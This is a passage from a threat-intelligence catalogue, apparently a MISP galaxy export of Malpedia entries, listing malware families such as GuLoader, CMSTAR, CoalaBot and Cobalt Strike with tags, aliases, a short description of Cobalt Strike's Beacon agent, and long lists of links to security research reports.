https://forensicitguy.github.io/guloader-executing-shellcode-callbacks/
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/
https://www.youtube.com/watch?v=-FxyzuRv6Wg
https://research.checkpoint.com/2020/threat-actors-migrating-to-the-cloud/
https://www.youtube.com/watch?v=N0wAh26wShE
https://www.proofpoint.com/us/blog/threat-insight/hakbit-ransomware-campaign-against-germany-austria-switzerland
https://www.proofpoint.com/us/threat-insight/post/guloader-popular-new-vb6-downloader-abuses-cloud-services
https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter
https://cert-agid.gov.it/news/malware/tecniche-per-semplificare-lanalisi-del-malware-guloader/
https://cert.pl/en/posts/2021/04/keeping-an-eye-on-guloader-reverse-engineering-the-loader/
https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/
https://www.vmray.com/cyber-security-blog/azorult-delivered-by-guloader-malware-analysis-spotlight/
https://www.youtube.com/watch?v=K3Yxu_9OUxU
https://blog.morphisec.com/guloader-the-rat-downloader
https://experience.mandiant.com/trending-evil-2/p/1
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/playing-with-guloader-anti-vm-techniques-malware/
https://twitter.com/TheEnergyStory/status/1240608893610459138
https://twitter.com/VK_Intel/status/1257206565146370050
https://blog.malwarebytes.com/scams/2020/08/sba-phishing-scams-from-malware-to-advanced-social-engineering/

https://www.crowdstrike.com/blog/guloader-malware-analysis/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://labs.k7computing.com/?p=20156
https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update
https://hidocohen.medium.com/guloaders-anti-analysis-techniques-e0d4b8437195
https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4
https://www.vmray.com/cyber-security-blog/malware-analysis-spotlight-guloader
https://www.joesecurity.org/blog/3535317197858305930
https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728
https://twitter.com/TheEnergyStory/status/1239110192060608513
https://twitter.com/VK_Intel/status/1255537954304524288
https://labs.k7computing.com/?p=21725Lokesh
https://www.fortinet.com/blog/threat-research/spoofed-saudi-purchase-order-drops-guloader-part-two
https://twitter.com/sysopfb/status/1258809373159305216
https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/

Cloud Duke

The tag is: *misp-galaxy:malpedia="Cloud Duke"*

Cloud Duke is also known as:

Table 1891. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke
https://www.f-secure.com/weblog/archives/00002822.html

CMSBrute

The tag is: *misp-galaxy:malpedia="CMSBrute"*

CMSBrute is also known as:

Table 1892. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute

https://securelist.com/the-shade-encryptor-a-double-threat/72087/

CMSTAR

The tag is: *misp-galaxy:malpedia="CMSTAR"*

CMSTAR is also known as:

- meciv

Table 1893. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar
https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan
https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan
https://twitter.com/ClearskySec/status/963829930776723461
https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/

CoalaBot

The tag is: *misp-galaxy:malpedia="CoalaBot"*

CoalaBot is also known as:

Table 1894. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coalabot
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://malware.dontneedcoffee.com/2017/10/coalabot-http-ddos-bot.html

CobaltMirage FRP

This Go written malware was observed during campaign of COBALT MIRAGE; it includes FRP (Fast Reverse Proxy) published by fatedier on GitHub (https://github.com/fatedier/frp) and other projects additionally.

The tag is: *misp-galaxy:malpedia="CobaltMirage FRP"*

CobaltMirage FRP is also known as:

Table 1895. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobaltmirage_tunnel
https://www.secureworks.com/blog/cobalt-mirage-conducts-ransomware-operations-in-us
https://www.deepinstinct.com/blog/iranian-threat-actor-continues-to-develop-mass-exploitation-tools

Cobalt Strike

Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.

The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.

The tag is: *misp-galaxy:malpedia="Cobalt Strike"*

Cobalt Strike is also known as:

- Agentemis
- BEACON
- CobaltStrike
- cobeacon

Table 1896. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike
https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/
https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon
https://mp.weixin.qq.com/s/peIpPJLt4NuJI1a31S_qbQ
https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/
https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/
https://blog.malwarebytes.com/threat-intelligence/2021/11/a-multi-stage-powershell-based-attack-targets-kazakhstan/

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure
https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/
https://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/
https://unit42.paloaltonetworks.com/fireeye-red-team-tool-breach/
https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html
https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/
https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/
http://www.secureworks.com/research/threat-profiles/gold-kingswood
https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/
https://www.intezer.com/blog/malware-analysis/cobalt-strike-detect-this-persistent-threat/
https://wbglil.gitbook.io/cobalt-strike/
https://www.scmagazine.com/brief/breach/novel-obfuscation-leveraged-by-hive-ransomware
https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/
https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/
https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489
https://www.getrevue.co/profile/80vul/issues/hunting-cobalt-strike-dns-redirectors-by-using-zoomeye-580734
https://securityscorecard.com/blog/securityscorecard-finds-usaid-hack-much-larger-than-initially-thought
https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/
https://malwarelab.eu/posts/fin6-cobalt-strike/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://asec.ahnlab.com/en/31811/
https://www.huntress.com/blog/cybersecurity-advisory-vmware-horizon-servers-actively-being-hit-with-cobalt-strike
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos

https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire
https://us-cert.cisa.gov/ncas/alerts/aa20-275a
https://www.trendmicro.com/en_us/research/21/d/hello-ransomware-uses-updated-china-chopper-web-shell-sharepoint-vulnerability.html
https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf
https://www.trendmicro.com/en_us/research/21/a/earth-wendigo-injects-javascript-backdoor-to-service-worker-for-.html
https://kienmanowar.wordpress.com/2021/09/06/quick-analysis-cobaltstrike-loader-and-shellcode/
https://connormcgarr.github.io/thread-hijacking/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf
https://www.contextis.com/en/blog/dll-search-order-hijacking
https://www.mandiant.com/media/12596/download
https://malwareandstuff.com/mustang-panda-joins-the-covid19-bandwagon/
https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903
https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/
https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone/
https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/
https://github.com/infinitumitlabs/Karakurt-Hacking-Team-CTI
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-011.pdf
https://redcanary.com/blog/intelligence-insights-december-2021
https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/
https://medium.com/walmartglobaltech/cobaltstrike-uuid-stager-ca7e82f7bb64
https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/harvester-new-apt-attacks-asia
https://www.mandiant.com/media/10916/download
https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf

https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c
https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom
https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt
https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/
https://twitter.com/elisalem9/status/1398566939656601606
https://blog.cyble.com/2022/09/07/bumblebee-returns-with-new-infection-technique/
https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/
https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575
https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/
https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-ml-and-kql-part-2-bff46cfc1e7e
https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems
https://malware-traffic-analysis.net/2021/09/29/index.html
https://www.secureworks.com/research/threat-profiles/bronze-president
https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py
https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware
https://www.recordedfuture.com/solardeflection-c2-infrastructure-used-by-nobelium-in-company-brand-misuse/
https://blog.morphisec.com/vmware-identity-manager-attack-backdoor
https://twitter.com/vikas891/status/1385306823662587905
https://redcanary.com/blog/grief-ransomware/
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf
https://blog.nviso.eu/2021/10/21/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-1/
https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf
https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir
https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/
https://michaelkoczwara.medium.com/cobalt-strike-hunting-simple-pcap-and-beacon-analysis-f51c36ce6811

https://cert.gov.ua/article/703548
https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/
https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/
https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/
https://github.com/Sentinel-One/CobaltStrikeParser/blob/master/parse_beacon_config.py
https://asec.ahnlab.com/en/34549/
https://www.ironnet.com/blog/tracking-cobalt-strike-servers-used-in-cyberattacks-on-ukraine
https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811
https://security.macnica.co.jp/blog/2022/05/iso.html
https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/
https://www.mandiant.com/resources/blog/phished-at-the-request-of-counsel
https://www.sans.org/webcasts/contrarian-view-solarwinds-119515
https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/
https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/
https://www.malware-traffic-analysis.net/2021/09/17/index.html
https://twitter.com/GossiTheDog/status/1438500100238577670
https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware
https://blog.group-ib.com/colunmtk_apt41
https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/
https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf
https://news.sophos.com/en-us/2021/05/05/intervention-halts-a-proxylogon-enabled-attack
https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/
https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/
https://blog.fox-it.com/2019/02/26/identifying-cobalt-strike-team-servers-in-the-wild/
https://www.infinitumit.com.tr/en/conti-ransomware-group-behind-the-karakurt-hacking-team/
https://blog.sonatype.com/new-pymafka-malicious-package-drops-cobalt-strike-on-macos-windows-linux

https://grimminck.medium.com/spoofing-jarm-signatures-i-am-the-cobalt-strike-server-now-a27bd549fc6b
https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1
https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf
https://us-cert.cisa.gov/ncas/alerts/aa21-148a
https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee
https://www.guidepointsecurity.com/blog/a-ransomware-near-miss-proxyshell-a-rat-and-cobalt-strike/
https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/
https://blog.nviso.eu/2021/11/17/cobalt-strike-decrypting-obfuscated-traffic-part-4/
https://www.macnica.net/file/mpression_automobile.pdf
https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf
https://asec.ahnlab.com/ko/19860/
https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia
https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/
https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure
https://www.crowdstrike.com/blog/how-falcon-complete-disrupts-ecrime-operators-wizard-spider/
https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf
https://www.deepinstinct.com/2021/03/18/cobalt-strike-post-exploitation-attackers-toolkit/
https://www.zscaler.com/blogs/research/targeted-attack-leverages-india-china-border-dispute-lure-victims
https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/

https://blog.morphisec.com/log4j-exploit-targets-vulnerable-unifi-network-applications
https://www.accenture.com/us-en/blogs/security/ransomware-hades
https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf
https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/
https://www.cobaltstrike.com/support
https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/
https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/
https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/
https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one
https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-extortion-group/
https://www.telsy.com/legitimate-sites-used-as-cobalt-strike-c2s-against-indian-government/
https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.picussecurity.com/resource/blog/ttps-used-in-the-solarwinds-breach
https://isc.sans.edu/diary/rss/27618
https://www.trendmicro.com/en_us/research/21/i/remote-code-execution-zero-day—cve-2021-40444—hits-windows—tr.html
https://mp.weixin.qq.com/s/cGS8FocPnUdBconLbbaG-g
https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a
https://securelist.com/apt-trends-report-q2-2020/97937/
https://twitter.com/alex_lanstein/status/1399829754887524354
https://isc.sans.edu/diary/rss/27176
https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass
https://twitter.com/Cryptolaemus1/status/1407135648528711680
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

https://twitter.com/RedDrip7/status/1402640362972147717?s=20
https://securelist.com/apt-luminousmoth/103332/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://www.esentire.com/blog/increase-in-emotet-activity-and-cobalt-strike-deployment
https://www.trustnet.co.il/blog/virus-alert-to-powershell-encrypted-loader/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://videos.didierstevens.com/2022/09/06/an-obfuscated-beacon-extra-xor-layer/
https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/
https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf
https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/
https://www.microsoft.com/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-148a
https://www.youtube.com/watch?v=ysN-MqyIN7M
https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/
https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine
https://blog.gigamon.com/2021/09/10/rendering-threats-a-network-perspective/
https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/
https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent
https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html
https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf
https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2
https://unit42.paloaltonetworks.com/fireeye-solarstorm-sunburst/
https://isc.sans.edu/diary/rss/26862
https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encryption-decryption/
https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike

https://blog.nviso.eu/2021/04/26/anatomy-of-cobalt-strike-dll-stagers/
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf
https://www.secureworks.com/blog/detecting-cobalt-strike-government-sponsored-threat-groups
https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9
https://boschko.ca/cobalt-strike-process-injection/
https://www.splunk.com/en_us/blog/security/cloud-federated-credential-abuse-cobalt-strike-threat-research-feb-2021.html
https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan
https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf
https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html
https://www.proofpoint.com/us/blog/threat-insight/cobalt-strike-favorite-tool-apt-crimeware
https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments
https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/
https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7
https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections
https://www.blackhillsinfosec.com/dns-over-https-for-cobalt-strike/
https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/
https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis
https://www.telsy.com/download/5972/?uid=d7c082ba55
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta
https://forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/
https://isc.sans.edu/diary/27308
https://www.huntress.com/blog/cobalt-strike-analysis-of-obfuscated-malware
https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis
https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/
http://blog.nsfocus.net/murenshark
https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx

https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware
https://www.secureworks.com/research/threat-profiles/gold-kingswood
https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/
https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/
https://thehackernews.com/2022/05/malware-analysis-trickbot.html
https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/
https://awakesecurity.com/blog/catching-the-white-stork-in-flight/
https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html
https://pylos.co/2018/11/18/cozybear-in-from-the-cold/
https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf
https://www.youtube.com/watch?v=FC9ARZIZglI
https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/
https://ak100117.medium.com/analyzing-cobalt-strike-powershell-payload-64d55ed3521b
https://www.aon.com/cyber-solutions/aon_cyber_labs/cobalt-strike-configuration-extractor-and-parser/
https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/
https://socfortress.medium.com/detecting-cobalt-strike-beacons-3f8c9fdcb654
https://www.cisa.gov/uscert/ncas/alerts/aa22-249a
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/sneak-peek-ch1-2-finding-beacons-in-the-dark.pdf
https://blog.group-ib.com/REvil_RaaS
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://isc.sans.edu/diary/rss/28752
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf
https://mp.weixin.qq.com/s/xPsEXp2J5IE7wNSMEVC24A
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://www.accenture.com/us-en/blogs/cyber-defense/double-extortion-campaigns
https://blog.malwarebytes.com/threat-analysis/2020/06/multi-stage-apt-attack-drops-cobalt-strike-using-malleable-c2-feature/
https://github.com/Apr4h/CobaltStrikeScan

https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/
https://thedfirreport.com/2021/01/31/bazar-no-ryuk/
https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021
https://www.youtube.com/watch?v=WW0_TgWT2gs
https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer—a-ransomware—and-a-botnet-join-the-part.html
https://www.mandiant.com/resources/spear-phish-ukrainian-entities
https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf
https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks
https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/
https://www.brighttalk.com/webcast/7451/462719
https://community.riskiq.com/article/f0320980
https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/
https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/
https://401trg.com/burning-umbrella/ [https://401trg.com/burning-umbrella/]
https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/
https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://www.secureworks.com/blog/detecting-cobalt-strike-cybercrime-attacks
https://www.youtube.com/watch?v=borfuQGrB8g
https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html
https://asec.ahnlab.com/ko/19640/
https://www.mandiant.com/resources/sabbath-ransomware-affiliate
https://r136a1.info/2022/05/25/introduction-of-a-pe-file-extractor-for-various-situations/
https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/

https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/
https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b
https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/
https://sixdub.medium.com/using-kaitai-to-parse-cobalt-strike-beacon-configs-f5f0552d5a6e
https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html
https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/
https://twitter.com/ffforward/status/1324281530026524672
https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf
https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html
